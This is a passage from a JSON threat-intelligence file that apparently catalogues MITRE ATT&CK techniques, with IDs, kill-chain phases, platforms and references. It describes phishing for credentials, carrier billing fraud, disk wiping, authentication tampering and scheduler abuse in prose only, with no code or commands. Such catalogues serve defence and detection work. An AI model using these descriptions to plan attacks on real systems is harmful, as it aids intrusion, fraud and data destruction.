"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1379).\n\nRemovable media containing malware can be injected in to a supply chain at large or small scale. It can also be physically placed for someone to find or can be sent to someone in a more targeted manner. The intent is to have the user utilize the removable media on a system where the adversary is trying to gain access. (Citation: USBMalwareAttacks) (Citation: FPDefendNewDomain) (Citation: ParkingLotUSB)",
"meta": {
"external_id": "T1379",
"kill_chain": [
"mitre-pre-attack:stage-capabilities"
],
"refs": [
"https://attack.mitre.org/techniques/T1379"
]
},
"uuid": "2f442206-2983-4fc2-93fd-0a828e026412",
"value": "Disseminate removable media - T1379"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1397).\n\nSpearphishing for information is a specific variant of spearphishing. Spearphishing for information is different from other forms of spearphishing in that it it doesn't leverage malicious code. All forms of spearphishing are elctronically delivered social engineering targeted at a specific individual, company, or industry. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials, without involving malicious code. Spearphishing for information frequently involves masquerading as a source with a reason to collect information (such as a system administrator or a bank) and providing a user with a website link to visit. The given website often closely resembles a legitimate site in appearance and has a URL containing elements from the real site. From the fake website, information is gathered in web forms and sent to the attacker. Spearphishing for information may also try to obtain information directly through the exchange of emails, instant messengers or other electronic conversation means. (Citation: ATTACKREF GRIZZLY STEPPE JAR)",
"meta": {
"external_id": "T1397",
"kill_chain": [
"mitre-pre-attack:technical-information-gathering"
],
"refs": [
"https://attack.mitre.org/techniques/T1397"
]
},
"uuid": "b182f29c-2505-4b32-a000-0440ef189f59",
"value": "Spearphishing for Information - T1397"
},
{
"description": "Files may be copied from one system to another to stage adversary tools or other files over the course of an operation. Files may be copied from an external adversary-controlled system through the Command and Control channel to bring tools into the victim network or onto the victim’s device.",
"meta": {
"external_id": "T1544",
"kill_chain": [
"mitre-mobile-attack:command-and-control"
],
"mitre_platforms": [
"Android",
"iOS"
],
"refs": [
"https://attack.mitre.org/techniques/T1544"
]
},
"uuid": "2bb20118-e6c0-41dc-a07c-283ea4dd0fb8",
"value": "Remote File Copy - T1544"
},
{
"description": "Test",
"meta": {
"external_id": "T1454",
"refs": [
"https://attack.mitre.org/techniques/T1454"
]
},
"related": [],
"uuid": "0bcc4ec1-a897-49a9-a9ff-c00df1d1209d",
"value": "Malicious SMS Message - T1454"
},
{
"description": "As further described in [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195), supply chain compromise is the manipulation of products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise. Somewhat related, adversaries could also identify and exploit inadvertently present vulnerabilities. In many cases, it may be difficult to be certain whether exploitable functionality is due to malicious intent or simply inadvertent mistake.\n\nThird-party libraries incorporated into mobile apps could contain malicious behavior, privacy-invasive behavior, or exploitable vulnerabilities. An adversary could deliberately insert malicious behavior or could exploit inadvertent vulnerabilities. For example, security issues have previously been identified in third-party advertising libraries incorporated into apps.(Citation: NowSecure-RemoteCode)(Citation: Grace-Advertisement).",
"meta": {
"external_id": "APP-6",
"kill_chain": [
"mitre-mobile-attack:initial-access"
],
"mitre_platforms": [
"Android",
"iOS"
],
"refs": [
"https://attack.mitre.org/techniques/T1474",
"https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-6.html",
"https://www.csc2.ncsu.edu/faculty/xjiang4/pubs/WISEC12_ADRISK.pdf",
"https://www.nowsecure.com/blog/2015/06/15/a-pattern-for-remote-code-execution-using-arbitrary-file-writes-and-multidex-applications/"
]
},
"uuid": "0d95940f-9583-4e0f-824c-a42c1be47fad",
"value": "Supply Chain Compromise - T1474"
},
{
"description": "Adversaries may wipe a device or delete individual files in order to manipulate external outcomes or hide activity. An application must have administrator access to fully wipe the device, while individual files may not require special permissions to delete depending on their storage location. (Citation: Android DevicePolicyManager 2019)\n\nStored data could include a variety of file formats, such as Office files, databases, stored emails, and custom file formats. The impact file deletion will have depends on the type of data as well as the goals and objectives of the adversary, but can include deleting update files to evade detection or deleting attacker-specified files for impact.",
"meta": {
"external_id": "T1447",
"kill_chain": [
"mitre-mobile-attack:impact",
"mitre-mobile-attack:defense-evasion"
],
"mitre_platforms": [
"Android"
],
"refs": [
"https://attack.mitre.org/techniques/T1447",
"https://developer.android.com/reference/android/app/admin/DevicePolicyManager.html"
]
},
"related": [],
"uuid": "8e27551a-5080-4148-a584-c64348212e4f",
"value": "Delete Device Data - T1447"
},
{
"description": "A malicious app may trigger fraudulent charges on a victim’s carrier billing statement in several different ways, including SMS toll fraud and SMS shortcodes that make purchases.\n\nPerforming SMS fraud relies heavily upon the fact that, when making SMS purchases, the carriers perform device verification but not user verification. This allows adversaries to make purchases on behalf of the user, with little or no user interaction.(Citation: Google Bread)\n\nMalicious applications may also perform toll billing, which occurs when carriers provide payment endpoints over a web page. The application connects to the web page over cellular data so the carrier can directly verify the number, or the application must retrieve a code sent via SMS and enter it into the web page.(Citation: Google Bread)\n\nOn iOS, apps cannot send SMS messages.\n\nOn Android, apps must hold the `SEND_SMS` permission to send SMS messages. Additionally, Android version 4.2 and above has mitigations against this threat by requiring user consent before allowing SMS messages to be sent to premium numbers (Citation: AndroidSecurity2014).",
"meta": {
"external_id": "T1448",
"kill_chain": [
"mitre-mobile-attack:impact"
],
"mitre_platforms": [
"Android"
],
"refs": [
"https://attack.mitre.org/techniques/T1448",
"https://security.googleblog.com/2020/01/pha-family-highlights-bread-and-friends.html",
"https://static.googleusercontent.com/media/source.android.com/en//security/reports/Google_Android_Security_2014_Report_Final.pdf"
]
},
"related": [],
"uuid": "8f0e39c6-82c9-41ec-9f93-5696c0f2e274",
"value": "Carrier Billing Fraud - T1448"
},
{
"description": "Adversaries may modify the configuration settings of a domain to evade defenses and/or escalate privileges in domain environments. Domains provide a centralized means of managing how computer resources (ex: computers, user accounts) can act, and interact with each other, on a network. The policy of the domain also includes configuration settings that may apply between domains in a multi-domain/forest environment. Modifications to domain settings may include altering domain Group Policy Objects (GPOs) or changing trust settings for domains, including federation trusts.\n\nWith sufficient permissions, adversaries can modify domain policy settings. Since domain configuration settings control many of the interactions within the Active Directory (AD) environment, there are a great number of potential attacks that can stem from this abuse. Examples of such abuse include modifying GPOs to push a malicious [Scheduled Task](https://attack.mitre.org/techniques/T1053/005) to computers throughout the domain environment(Citation: ADSecurity GPO Persistence 2016)(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions) or modifying domain trusts to include an adversary controlled domain where they can control access tokens that will subsequently be accepted by victim domain resources.(Citation: Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks) Adversaries can also change configuration settings within the AD environment to implement a [Rogue Domain Controller](https://attack.mitre.org/techniques/T1207).\n\nAdversaries may temporarily modify domain policy, carry out a malicious action(s), and then revert the change to remove suspicious indicators.",
"meta": {
"external_id": "T1484",
"kill_chain": [
"mitre-attack:defense-evasion",
"mitre-attack:privilege-escalation"
],
"mitre_data_sources": [
"Active Directory: Active Directory Object Creation",
"Active Directory: Active Directory Object Deletion",
"Active Directory: Active Directory Object Modification",
"Command: Command Execution"
],
"mitre_platforms": [
"Windows",
"Azure AD"
],
"refs": [
"http://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/",
"https://adsecurity.org/?p=2716",
"https://attack.mitre.org/techniques/T1484",
"https://docs.microsoft.com/en-us/office365/troubleshoot/active-directory/update-federated-domain-office-365",
"https://github.com/Azure/Azure-Sentinel/blob/master/Detections/AuditLogs/ADFSDomainTrustMods.yaml",
"https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/",
"https://us-cert.cisa.gov/ncas/alerts/aa21-008a",
"https://wald0.com/?p=179",
"https://www.microsoft.com/security/blog/2020/12/28/using-microsoft-365-defender-to-coordinate-protection-against-solorigate/",
"https://www.sygnia.co/golden-saml-advisory"
]
},
"uuid": "ebb42bbe-62d7-47d7-a55f-3b08b61d792d",
"value": "Domain Policy Modification - T1484"
},
{
"description": "Adversaries may modify systems in order to manipulate the data as it is accessed and displayed to an end user.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating runtime data, adversaries may attempt to affect a business process, organizational understanding, and decision making. \n\nAdversaries may alter application binaries used to display data in order to cause runtime manipulations. Adversaries may also conduct [Change Default File Association](https://attack.mitre.org/techniques/T1042) and [Masquerading](https://attack.mitre.org/techniques/T1036) to cause a similar effect. The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.",
"meta": {
"external_id": "T1494",
"refs": [
"https://attack.mitre.org/techniques/T1494",
"https://content.fireeye.com/apt/rpt-apt38",
"https://www.justice.gov/opa/press-release/file/1092091/download"
]
},
"related": [
{
"dest-uuid": "32ad5c86-2bcf-47d8-8fdc-d7f3d79a7490",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "ca205a36-c1ad-488b-aa6c-ab34bdd3a36b",
"value": "Runtime Data Manipulation - T1494"
},
{
"description": "A message sent over a radio interface (typically cellular, but potentially Bluetooth, GPS, NFC, Wi-Fi or other) to the mobile device could exploit a vulnerability in code running on the device.\n\nD. Komaromy and N. Golde demonstrated baseband exploitation of a Samsung mobile device at the PacSec 2015 security conference (Citation: Register-BaseStation).\n\nWeinmann described and demonstrated \"the risk of remotely exploitable memory corruptions in cellular baseband stacks.\" (Citation: Weinmann-Baseband)\n\nPlatforms: Android, iOS",
"meta": {
"external_id": "T1455",
"refs": [
"https://attack.mitre.org/techniques/T1455"
]
},
"related": [
{
"dest-uuid": "2d646840-f6f5-4619-a5a8-29c8316bbac5",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "c91c304a-975d-4501-9789-0db1c57afd3f",
"value": "Exploit Baseband Vulnerability - T1455"
},
{
"description": "Adversaries may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events. Various operating systems have means to monitor and subscribe to events such as logons or other user activity such as running specific applications/binaries. \n\nAdversaries may abuse these mechanisms as a means of maintaining persistent access to a victim via repeatedly executing malicious code. After gaining access to a victim system, adversaries may create/modify event triggers to point to malicious content that will be executed whenever the event trigger is invoked.(Citation: FireEye WMI 2015)(Citation: Malware Persistence on OS X)(Citation: amnesia malware)\n\nSince the execution can be proxied by an account with higher permissions, such as SYSTEM or service accounts, an adversary may be able to abuse these triggered execution mechanisms to escalate their privileges. ",
"meta": {
"external_id": "T1546",
"kill_chain": [
"mitre-attack:privilege-escalation",
"mitre-attack:persistence"
],
"mitre_data_sources": [
"Command: Command Execution",
"File: File Creation",
"File: File Metadata",
"File: File Modification",
"Module: Module Load",
"Process: Process Creation",
"WMI: WMI Creation",
"Windows Registry: Windows Registry Key Modification"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1546",
"https://researchcenter.paloaltonetworks.com/2017/04/unit42-new-iotlinux-malware-targets-dvrs-forms-botnet/",
"https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf",
"https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"
]
},
"uuid": "b6301b64-ef57-4cce-bb0b-77026f14a8db",
"value": "Event Triggered Execution - T1546"
},
{
"description": "Content of a media (audio or video) file could be designed to exploit vulnerabilities in parsers on the mobile device, as for example demonstrated by the Android Stagefright vulnerability (Citation: Zimperium-Stagefright).\n\nPlatforms: Android, iOS",
"meta": {
"external_id": "T1457",
"refs": [
"https://attack.mitre.org/techniques/T1457"
]
},
"related": [
{
"dest-uuid": "fd339382-bfec-4bf0-8d47-1caedc9e7e57",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "a9cab8f6-4c94-4c9b-9e7d-9d863ff53431",
"value": "Malicious Media Content - T1457"
},
{
"description": "Adversaries may execute their own malicious payloads by hijacking the way operating systems run programs. Hijacking execution flow can be for the purposes of persistence, since this hijacked execution may reoccur over time. Adversaries may also use these mechanisms to elevate privileges or evade defenses, such as application control or other restrictions on execution.\n\nThere are many ways an adversary may hijack the flow of execution, including by manipulating how the operating system locates programs to be executed. How the operating system locates libraries to be used by a program can also be intercepted. Locations where the operating system looks for programs/resources, such as file directories and in the case of Windows the Registry, could also be poisoned to include malicious payloads.",
"meta": {
"external_id": "T1574",
"kill_chain": [
"mitre-attack:persistence",
"mitre-attack:privilege-escalation",
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
"Command: Command Execution",
"File: File Creation",
"File: File Modification",
"Module: Module Load",
"Process: Process Creation",
"Service: Service Metadata",
"Windows Registry: Windows Registry Key Modification"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1574",
"https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns"
]
},
"uuid": "aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6",
"value": "Hijack Execution Flow - T1574"
},
{
"description": "Adversaries may corrupt or wipe the disk data structures on hard drive necessary to boot systems; targeting specific critical systems as well as a large number of systems in a network to interrupt availability to system and network resources. \n\nAdversaries may attempt to render the system unable to boot by overwriting critical data located in structures such as the master boot record (MBR) or partition table.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) The data contained in disk structures may include the initial executable code for loading an operating system or the location of the file system partitions on disk. If this information is not present, the computer will not be able to load an operating system during the boot process, leaving the computer unavailable. [Disk Structure Wipe](https://attack.mitre.org/techniques/T1487) may be performed in isolation, or along with [Disk Content Wipe](https://attack.mitre.org/techniques/T1488) if all sectors of a disk are wiped.\n\nTo maximize impact on the target organization, malware designed for destroying disk structures may have worm-like features to propagate across a network by leveraging other techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [Windows Admin Shares](https://attack.mitre.org/techniques/T1077).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)",
"meta": {
"external_id": "T1487",
"refs": [
"http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/",
"https://attack.mitre.org/techniques/T1487",
"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf",
"https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/",
"https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html",
"https://www.symantec.com/connect/blogs/shamoon-attacks"
]
},
"related": [
{
"dest-uuid": "0af0ca99-357d-4ba1-805f-674fdfb7bef9",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "2e114e45-2c50-404c-804a-3af9564d240e",
"value": "Disk Structure Wipe - T1487"
},
{
"description": "Adversaries may erase the contents of storage devices on specific systems as well as large numbers of systems in a network to interrupt availability to system and network resources.\n\nAdversaries may partially or completely overwrite the contents of a storage device rendering the data irrecoverable through the storage interface.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware)(Citation: DOJ Lazarus Sony 2018) Instead of wiping specific disk structures or files, adversaries with destructive intent may wipe arbitrary portions of disk content. To wipe disk content, adversaries may acquire direct access to the hard drive in order to overwrite arbitrarily sized portions of disk with random data.(Citation: Novetta Blockbuster Destructive Malware) Adversaries have been observed leveraging third-party drivers like [RawDisk](https://attack.mitre.org/software/S0364) to directly access disk content.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware) This behavior is distinct from [Data Destruction](https://attack.mitre.org/techniques/T1485) because sections of the disk erased instead of individual files.\n\nTo maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disk content may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [Windows Admin Shares](https://attack.mitre.org/techniques/T1077).(Citation: Novetta Blockbuster Destructive Malware)",
"meta": {
"external_id": "T1488",
"refs": [
"https://attack.mitre.org/techniques/T1488",
"https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf",
"https://www.justice.gov/opa/press-release/file/1092091/download",
"https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf"
]
},
"related": [
{
"dest-uuid": "fb640c43-aa6b-431e-a961-a279010424ac",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "b82f7d37-b826-4ec9-9391-8e121c78aed7",
"value": "Disk Content Wipe - T1488"
},
{
"description": "Adversaries may modify authentication mechanisms and processes to access user credentials or enable otherwise unwarranted access to accounts. The authentication process is handled by mechanisms, such as the Local Security Authentication Server (LSASS) process and the Security Accounts Manager (SAM) on Windows, pluggable authentication modules (PAM) on Unix-based systems, and authorization plugins on MacOS systems, responsible for gathering, storing, and validating credentials. By modifying an authentication process, an adversary may be able to authenticate to a service or system without using [Valid Accounts](https://attack.mitre.org/techniques/T1078).\n\nAdversaries may maliciously modify a part of this process to either reveal credentials or bypass authentication mechanisms. Compromised credentials or access may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop.",
"meta": {
"external_id": "T1556",
"kill_chain": [
"mitre-attack:credential-access",
"mitre-attack:defense-evasion",
"mitre-attack:persistence"
],
"mitre_data_sources": [
"File: File Creation",
"File: File Modification",
"Logon Session: Logon Session Creation",
"Module: Module Load",
"Process: OS API Execution",
"Process: Process Access",
"Windows Registry: Windows Registry Key Modification"
],
"mitre_platforms": [
"Windows",
"Linux",
"macOS",
"Network"
],
"refs": [
"https://attack.mitre.org/techniques/T1556",
"https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/",
"https://technet.microsoft.com/en-us/library/dn487457.aspx",
"https://www.secureworks.com/research/skeleton-key-malware-analysis",
"https://xorrior.com/persistent-credential-theft/"
]
},
"uuid": "f4c1826f-a322-41cd-9557-562100848c84",
"value": "Modify Authentication Process - T1556"
},
{
"description": "Adversaries may include functionality in malware that uninstalls the malicious application from the device. This can be achieved by:\n\n* Abusing device owner permissions to perform silent uninstallation using device owner API calls.\n* Abusing root permissions to delete files from the filesystem.\n* Abusing the accessibility service. This requires an intent be sent to the system to request uninstallation, and then abusing the accessibility service to click the proper places on the screen to confirm uninstallation.",
"meta": {
"external_id": "APP-43",
"kill_chain": [
"mitre-mobile-attack:defense-evasion"
],
"mitre_platforms": [
"Android"
],
"refs": [
"https://attack.mitre.org/techniques/T1576",
"https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-43.html"
]
},
"related": [],
"uuid": "8c7862ff-3449-4ac6-b0fd-ac1298a822a5",
"value": "Uninstall Malicious Application - T1576"
},
{
"description": "Adversaries may modify applications installed on a device to establish persistent access to a victim. These malicious modifications can be used to make legitimate applications carry out adversary tasks when these applications are in use.\n\nThere are multiple ways an adversary can inject malicious code into applications. One method is by taking advantages of device vulnerabilities, the most well-known being Janus, an Android vulnerability that allows adversaries to add extra bytes to APK (application) and DEX (executable) files without affecting the file's signature. By being able to add arbitrary bytes to valid applications, attackers can seamlessly inject code into genuine executables without the user's knowledge.(Citation: Guardsquare Janus)\n\nAdversaries may also rebuild applications to include malicious modifications. This can be achieved by decompiling the genuine application, merging it with the malicious code, and recompiling it.(Citation: CheckPoint Agent Smith)\n\nAdversaries may also take action to conceal modifications to application executables and bypass user consent. These actions include altering modifications to appear as an update or exploiting vulnerabilities that allow activities of the malicious application to run inside a system application.(Citation: CheckPoint Agent Smith)",
"meta": {
"external_id": "T1577",
"kill_chain": [
"mitre-mobile-attack:persistence"
],
"mitre_platforms": [
"Android"
],
"refs": [
"https://attack.mitre.org/techniques/T1577",
"https://research.checkpoint.com/2019/agent-smith-a-new-species-of-mobile-malware/",
"https://www.guardsquare.com/en/blog/new-android-vulnerability-allows-attackers-modify-apps-without-affecting-their-signatures"
]
},
"uuid": "d3bc5020-f6a2-41c0-8ccb-5e563101b60c",
"value": "Compromise Application Executable - T1577"
},
{
"description": "Adversaries may search and gather information about victims from closed sources that can be used during targeting. Information about victims may be available for purchase from reputable private sources and databases, such as paid subscriptions to feeds of technical/threat intelligence data.(Citation: D3Secutrity CTI Feeds) Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets.(Citation: ZDNET Selling Data)\n\nAdversaries may search in different closed databases depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).",
"meta": {
"external_id": "T1597",
"kill_chain": [
"mitre-attack:reconnaissance"
],
"mitre_platforms": [
"PRE"
],
"refs": [
"https://attack.mitre.org/techniques/T1597",
"https://d3security.com/blog/10-of-the-best-open-source-threat-intelligence-feeds/",
"https://www.zdnet.com/article/a-hacker-group-is-selling-more-than-73-million-user-records-on-the-dark-web/"
]
},
"uuid": "a51eb150-93b1-484b-a503-e51453b127a4",
"value": "Search Closed Sources - T1597"
},
{
"description": "Adversaries may send phishing messages to elicit sensitive information that can be used during targeting. Phishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Phishing for information is different from [Phishing](https://attack.mitre.org/techniques/T1566) in that the objective is gathering data from the victim rather than executing malicious code.\n\nAll forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass credential harvesting campaigns.\n\nAdversaries may also try to obtain information directly through the exchange of emails, instant messages, or other electronic conversation means.(Citation: ThreatPost Social Media Phishing)(Citation: TrendMictro Phishing)(Citation: PCMag FakeLogin)(Citation: Sophos Attachment)(Citation: GitHub Phishery) Phishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages.",
"meta": {
"external_id": "T1598",
"kill_chain": [
"mitre-attack:reconnaissance"
],
"mitre_data_sources": [
"Application Log: Application Log Content",
"Network Traffic: Network Traffic Content",
"Network Traffic: Network Traffic Flow"
],
"mitre_platforms": [
"PRE"
],
"refs": [
"https://attack.mitre.org/techniques/T1598",
"https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide",
"https://github.com/ryhanson/phishery",
"https://nakedsecurity.sophos.com/2020/10/02/serious-security-phishing-without-links-when-phishers-bring-along-their-own-web-pages/",
"https://threatpost.com/facebook-launching-pad-phishing-attacks/160351/",
"https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf",
"https://www.pcmag.com/news/hackers-try-to-phish-united-nations-staffers-with-fake-login-pages",
"https://www.trendmicro.com/en_us/research/20/i/tricky-forms-of-phishing.html"
]
},
"uuid": "cca0ccb6-a068-4574-a722-b1556f86833a",
"value": "Phishing for Information - T1598"
},
{
"description": "Adversaries may bridge network boundaries by compromising perimeter network devices. Breaching these devices may enable an adversary to bypass restrictions on traffic routing that otherwise separate trusted and untrusted networks.\n\nDevices such as routers and firewalls can be used to create boundaries between trusted and untrusted networks. They achieve this by restricting traffic types to enforce organizational policy in an attempt to reduce the risk inherent in such connections. Restriction of traffic can be achieved by prohibiting IP addresses, layer 4 protocol ports, or through deep packet inspection to identify applications. To participate with the rest of the network, these devices can be directly addressable or transparent, but their mode of operation has no bearing on how the adversary can bypass them when compromised.\n\nWhen an adversary takes control of such a boundary device, they can bypass its policy enforcement to pass normally prohibited traffic across the trust boundary between the two separated networks without hinderance. By achieving sufficient rights on the device, an adversary can reconfigure the device to allow the traffic they want, allowing them to then further achieve goals such as command and control via [Multi-hop Proxy](https://attack.mitre.org/techniques/T1090/003) or exfiltration of data via [Traffic Duplication](https://attack.mitre.org/techniques/T1020/001). In the cases where a border device separates two separate organizations, the adversary can also facilitate lateral movement into new victim environments.",
"meta": {
"external_id": "T1599",
"kill_chain": [
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
"Network Traffic: Network Traffic Content",
"Network Traffic: Network Traffic Flow"
],
"mitre_platforms": [
"Network"
],
"refs": [
"https://attack.mitre.org/techniques/T1599"
]
},
"uuid": "b8017880-4b1e-42de-ad10-ae7ac6705166",
"value": "Network Boundary Bridging - T1599"
},
{
"description": "Adversaries may abuse the [at](https://attack.mitre.org/software/S0110) utility to perform task scheduling for initial, recurring, or future execution of malicious code. The [at](https://attack.mitre.org/software/S0110) command within Linux operating systems enables administrators to schedule tasks.(Citation: Kifarunix - Task Scheduling in Linux)\n\nAn adversary may use [at](https://attack.mitre.org/software/S0110) in Linux environments to execute programs at system startup or on a scheduled basis for persistence. [at](https://attack.mitre.org/software/S0110) can also be abused to conduct remote Execution as part of Lateral Movement and or to run a process under the context of a specified account.\n\nAdversaries may also abuse [at](https://attack.mitre.org/software/S0110) to break out of restricted environments by using a task to spawn an interactive system shell or to run system commands. Similarly, [at](https://attack.mitre.org/software/S0110) may also be used for [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) if the binary is allowed to run as superuser via sudo.(Citation: GTFObins at)",
"meta": {
"external_id": "T1053.001",
"kill_chain": [
"mitre-attack:execution",
"mitre-attack:persistence",
"mitre-attack:privilege-escalation"
],
"mitre_data_sources": [
"Command: Command Execution",
"Process: Process Creation",
"Scheduled Job: Scheduled Job Creation"
],
"mitre_platforms": [
"Linux"
],
"refs": [
"https://attack.mitre.org/techniques/T1053/001",
"https://gtfobins.github.io/gtfobins/at/",
"https://kifarunix.com/scheduling-tasks-using-at-command-in-linux/",
"https://www.linkedin.com/pulse/getting-attacker-ip-address-from-malicious-linux-job-craig-rowland/"
]
},
"related": [
{
"dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9",
"type": "subtechnique-of"
}
],
"uuid": "6636bc83-0611-45a6-b74f-1f3daf635b8e",
"value": "At (Linux) - T1053.001"
},
{
"description": "Adversaries may abuse the at.exe utility to perform task scheduling for initial or recurring execution of malicious code. The [at](https://attack.mitre.org/software/S0110) utility exists as an executable within Windows for scheduling tasks at a specified time and date. Using [at](https://attack.mitre.org/software/S0110) requires that the Task Scheduler service be running, and the user to be logged on as a member of the local Administrators group. \n\nAn adversary may use at.exe in Windows environments to execute programs at system startup or on a scheduled basis for persistence. [at](https://attack.mitre.org/software/S0110) can also be abused to conduct remote Execution as part of Lateral Movement and or to run a process under the context of a specified account (such as SYSTEM).\n\nNote: The at.exe command line utility has been deprecated in current versions of Windows in favor of schtasks.",
"meta": {
"external_id": "T1053.002",
"kill_chain": [
"mitre-attack:execution",
"mitre-attack:persistence",
"mitre-attack:privilege-escalation"
],
"mitre_data_sources": [
"Command: Command Execution",
"File: File Modification",
"Process: Process Creation",
"Scheduled Job: Scheduled Job Creation"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1053/002",
"https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-other-object-access-events",
"https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen",
"https://technet.microsoft.com/en-us/sysinternals/bb963902",
"https://technet.microsoft.com/library/dd315590.aspx",
"https://twitter.com/leoloobeek/status/939248813465853953"
]
},
"related": [
{
"dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9",
"type": "subtechnique-of"
}
],
"uuid": "f3d95a1f-bba2-44ce-9af7-37866cd63fd0",
"value": "At (Windows) - T1053.002"
},
{
"description": "Adversaries may abuse specific file formats to subvert Mark-of-the-Web (MOTW) controls. In Windows, when files are downloaded from the Internet, they are tagged with a hidden NTFS Alternate Data Stream (ADS) named Zone.Identifier with a specific value known as the MOTW.(Citation: Microsoft Zone.Identifier 2020) Files that are tagged with MOTW are protected and cannot perform certain actions. For example, starting in MS Office 10, if a MS Office file has the MOTW, it will open in Protected View. Executables tagged with the MOTW will be processed by Windows Defender SmartScreen that compares files with an allowlist of well-known executables. If the file in not known/trusted, SmartScreen will prevent the execution and warn the user not to run it.(Citation: Beek Use of VHD Dec 2020)(Citation: Outflank MotW 2020)(Citation: Intezer Russian APT Dec 2020)\n\nAdversaries may abuse container files such as compressed/archive (.arj, .gzip) and/or disk image (.iso, .vhd) file formats to deliver malicious payloads that may not be tagged with MOTW. Container files downloaded from the Internet will be marked with MOTW but the files within may not inherit the MOTW after the container files are extracted and/or mounted. MOTW is a NTFS feature and many container files do not support NTFS alternative data streams. After a container file is extracted and/or mounted, the files contained within them may be treated as local files on disk and run without protections.(Citation: Beek Use of VHD Dec 2020)(Citation: Outflank MotW 2020)",
"meta": {
"external_id": "T1553.005",
"kill_chain": [
"mitre-attack:defense-evasion"
],
